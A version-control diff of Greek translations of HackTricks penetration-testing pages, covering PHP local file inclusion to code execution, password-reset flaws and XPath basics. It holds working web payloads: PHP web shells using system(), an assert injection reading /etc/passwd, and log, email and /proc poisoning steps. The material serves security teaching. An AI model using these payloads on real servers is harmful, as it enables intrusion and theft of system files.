* Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
@ -326,7 +326,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### php://fd
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγετε το περιεχόμενο των ανοιχτών αρχείων:
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοίξει η διαδικασία. Πιθανώς χρήσιμο για να εξάγετε το περιεχόμενο των ανοιχτών αρχείων:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -387,7 +387,7 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Για να συντάξετε το αρχείο `.phar`, θα πρέπει να εκτελέσετε την παρακάτω εντολή:
Για να δημιουργήσετε το αρχείο `.phar`, θα πρέπει να εκτελέσετε την παρακάτω εντολή:
```bash
php --define phar.readonly=0 create_path.php
```
@ -405,32 +405,32 @@ php --define phar.readonly=0 create_path.php
### CVE-2024-2961
Ήταν δυνατόν να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα των ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
Ήταν δυνατόν να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.
Ήταν δυνατό να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.
### Περισσότερα πρωτόκολλα
Ελέγξτε περισσότερα πιθανά [**πρωτόκολλα για να συμπεριληφθούν εδώ**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς μπορεί αυτό να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ρεύματα Συμπίεσης
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές Συμπίεσης
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
## LFI μέσω της 'assert' του PHP
Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη λειτουργία 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την ένεση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την έγχυση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -440,18 +440,18 @@ assert("strpos('$file', '..') === false") or die("");
```
Είναι σημαντικό να **URL-κωδικοποιήσετε αυτά τα payloads**.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις Χάκινγκ**\
**Επιγνώσεις Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και επιγνώσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφορμών
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
@ -465,7 +465,7 @@ assert("strpos('$file', '..') === false") or die("");
Συνοπτικά, η τεχνική χρησιμοποιεί την **κωδικοποίηση "UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** ώστε η **λειτουργία PHP που ανοίγει** το αρχείο να προκαλέσει ένα **σφάλμα**.
Στη συνέχεια, για να διαρρεύσει ο πρώτος χαρακτήρας, χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**.
Στη συνέχεια, για να διαρρεύσει ο πρώτος χαρακτήρας, το φίλτρο **`dechunk`** χρησιμοποιείται μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν**.
**Λειτουργίες που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -504,12 +504,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Via Email
**Στείλτε ένα email** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να συμπεριλάβετε στο email του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
**Στείλτε ένα email** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να το συμπεριλάβετε στο email του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
1. Ανεβάστε πολλές shells (για παράδειγμα: 100)
2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να γίνει brute forced) και $FD τον file descriptor (μπορεί επίσης να γίνει brute forced)
2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να γίνει brute force) και $FD τον file descriptor (μπορεί επίσης να γίνει brute force)
### Via /proc/self/environ
@ -518,9 +518,9 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
### Μέσω ανέβασμα
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : `<?php system($_GET['c']); ?>`).
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -573,7 +573,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -597,7 +597,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
@ -613,7 +613,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
### Via `pearcmd.php` + URL args
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το σενάριο `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς υποδεικνύεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο script μέσω του URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
@ -670,7 +670,7 @@ _Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα πρ
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -1,40 +1,40 @@
# Επαναφορά/Ξεχασμένος Κωδικός Πρόσβασης Bypass
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
<summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Ενημερώσεις Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Νέα Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## **Διαρροή Token Επαναφοράς Κωδικού Πρόσβασης Μέσω Referrer**
## **Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer**
* Ο HTTP referer header μπορεί να διαρρεύσει το token επαναφοράς κωδικού πρόσβασης αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
* Ο HTTP referer header μπορεί να διαρρεύσει το token επαναφοράς κωδικού αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
* **Επίπτωση**: Πιθανή κατάληψη λογαριασμού μέσω επιθέσεων Cross-Site Request Forgery (CSRF).
* **Εκμετάλλευση**: Για να ελέγξετε αν ένα token επαναφοράς κωδικού διαρρέει στον referer header, **ζητήστε μια επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε έναν ιστότοπο τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει το token επαναφοράς κωδικού**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
* **Εκμετάλλευση**: Για να ελέγξετε αν ένα token επαναφοράς κωδικού διαρρέει στον referer header, **ζητήστε μια επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε μια ιστοσελίδα τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρακολουθείτε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει το token επαναφοράς κωδικού**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
* **Αναφορές**:
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -42,16 +42,16 @@
## **Δηλητηρίαση Επαναφοράς Κωδικού**
* Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο.
* Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλη ιστοσελίδα.
* **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα tokens επαναφοράς στους επιτιθέμενους.
* **Βήματα Μείωσης**:
* Επικυρώστε τον Host header έναντι μιας λίστας επιτρεπόμενων τομέων.
* Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργήσετε απόλυτες διευθύνσεις URL.
* **Διόρθωση**: Χρησιμοποιήστε `$_SERVER['SERVER_NAME']` για να κατασκευάσετε διευθύνσεις URL επαναφοράς κωδικού αντί για `$_SERVER['HTTP_HOST']`.
* **Αναφορές**:
* [Άρθρο Acunetix για Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
* [Άρθρο Acunetix για τη Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Επαναφορά Κωδικού Με Χειρισμό Παραμέτρου Email**
## **Επαναφορά Κωδικού με Χειρισμό Παραμέτρου Email**
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να παραπλανήσουν τον σύνδεσμο επαναφοράς.
@ -121,7 +121,7 @@ POST /api/changepass
## **Χωρίς Περιορισμούς Ρυθμού: Email Bombing**
* Η έλλειψη περιορισμών ρυθμού σε αιτήματα επαναφοράς κωδικού πρόσβασης μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με email επαναφοράς.
* Η έλλειψη περιορισμών ρυθμού στις αιτήσεις επαναφοράς κωδικού πρόσβασης μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με email επαναφοράς.
* **Βήματα Μείωσης**:
* Εφαρμόστε περιορισμούς ρυθμού με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη.
* Χρησιμοποιήστε προκλήσεις CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κακοποίηση.
@ -152,13 +152,13 @@ POST /api/changepass
* **Βήματα Μείωσης**:
* Χρησιμοποιήστε την έκδοση 4 του GUID για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις.
* **Εργαλεία**: Χρησιμοποιήστε το [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs.
* **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs.
## **Manipulation Response: Αντικατάσταση Κακής Απόκρισης με Καλή**
* Χειραγώγηση των αποκρίσεων HTTP για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
* Χειραγώγηση των HTTP απαντήσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
* **Βήματα Μείωσης**:
* Εφαρμόστε ελέγχους από την πλευρά του διακομιστή για να διασφαλίσετε την ακεραιότητα της απόκρισης.
* Εφαρμόστε ελέγχους server-side για να διασφαλίσετε την ακεραιότητα της απόκρισης.
* Χρησιμοποιήστε ασφαλείς επικοινωνιακούς διαύλους όπως το HTTPS για να αποτρέψετε επιθέσεις man-in-the-middle.
* **Αναφορά**:
* [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
@ -167,7 +167,7 @@ POST /api/changepass
* Δοκιμή αν τα εξαντλημένα token μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού πρόσβασης.
* **Βήματα Μείωσης**:
* Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token από την πλευρά του διακομιστή.
* Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token server-side.
## **Brute Force Token Επαναφοράς Κωδικού Πρόσβασης**
@ -186,19 +186,19 @@ POST /api/changepass
* Διασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ο χρήστης αποσυνδέεται ή επαναφέρει τον κωδικό του.
* **Βήματα Μείωσης**:
* Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού πρόσβασης.
* Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού.
## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού Πρόσβασης**
* Τα token επαναφοράς θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
* **Βήματα Μείωσης**:
* Ορίστε έναν λογικό χρόνο λήξης για τα token επαναφοράς και επιβάλετέ το αυστηρά από την πλευρά του διακομιστή.
* Ορίστε έναν λογικό χρόνο λήξης για τα token επαναφοράς και επιβάλετέ τον αυστηρά server-side.
## Αναφορές
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -38,40 +38,40 @@ Stay informed with the newest bug bounties launching and crucial platform update
Οι εκφράσεις χρησιμοποιούνται για την επιλογή διαφόρων κόμβων σε ένα έγγραφο XML. Αυτές οι εκφράσεις και οι περιγραφές τους συνοψίζονται παρακάτω:
* **nodename**: Όλοι οι κόμβοι με το όνομα "nodename" επιλέγονται.
* **nodename**: Επιλέγονται όλοι οι κόμβοι με το όνομα "nodename".
* **/**: Η επιλογή γίνεται από τον ριζικό κόμβο.
* **//**: Οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο επιλέγονται, ανεξάρτητα από την τοποθεσία τους στο έγγραφο.
* **.**: Ο τρέχων κόμβος επιλέγεται.
* **..**: Ο γονέας του τρέχοντος κόμβου επιλέγεται.
* **@**: Οι ιδιότητες επιλέγονται.
* **//**: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξάρτητα από την τοποθεσία τους στο έγγραφο.
* **.**: Επιλέγεται ο τρέχων κόμβος.
* **..**: Επιλέγεται ο γονέας του τρέχοντος κόμβου.
* **@**: Επιλέγονται οι ιδιότητες.
### XPath Examples
Παραδείγματα εκφράσεων διαδρομής και τα αποτελέσματά τους περιλαμβάνουν:
* **bookstore**: Όλοι οι κόμβοι που ονομάζονται "bookstore" επιλέγονται.
* **/bookstore**: Το ριζικό στοιχείο bookstore επιλέγεται. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
* **bookstore/book**: Όλα τα στοιχεία βιβλίου που είναι παιδιά του bookstore επιλέγονται.
* **//book**: Όλα τα στοιχεία βιβλίου στο έγγραφο επιλέγονται, ανεξάρτητα από την τοποθεσία τους.
* **bookstore//book**: Όλα τα στοιχεία βιβλίου που είναι απόγονοι του στοιχείου bookstore επιλέγονται, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.
* **//@lang**: Όλες οι ιδιότητες που ονομάζονται lang επιλέγονται.
* **bookstore**: Επιλέγονται όλοι οι κόμβοι που ονομάζονται "bookstore".
* **/bookstore**: Επιλέγεται το ριζικό στοιχείο bookstore. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
